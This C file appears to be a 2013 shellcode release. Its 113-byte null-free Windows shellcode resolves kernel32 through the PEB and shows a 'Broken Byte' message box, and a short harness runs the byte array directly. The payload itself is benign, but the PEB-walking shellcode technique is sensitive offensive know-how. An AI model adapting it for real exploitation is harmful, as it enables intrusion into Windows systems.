/*
User32-free Messagebox Shellcode for any Windows version
========================================================
 
Title:         User32-free Messagebox Shellcode for any Windows version
Release date:      16/10/2013
Author:        Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)
Size:          113 byte (NULL free)
Tested on:     Win8,Win7,WinVista,WinXP,Win2kPro,Win2k8,Win2k8R2,Win2k3
*/
 
 
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
           "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
           "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
               "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
           "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
           "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
                   "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
          
 "\x49\x0b\x31\xc0\x51\x50\xff\xd7";
  
 
int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}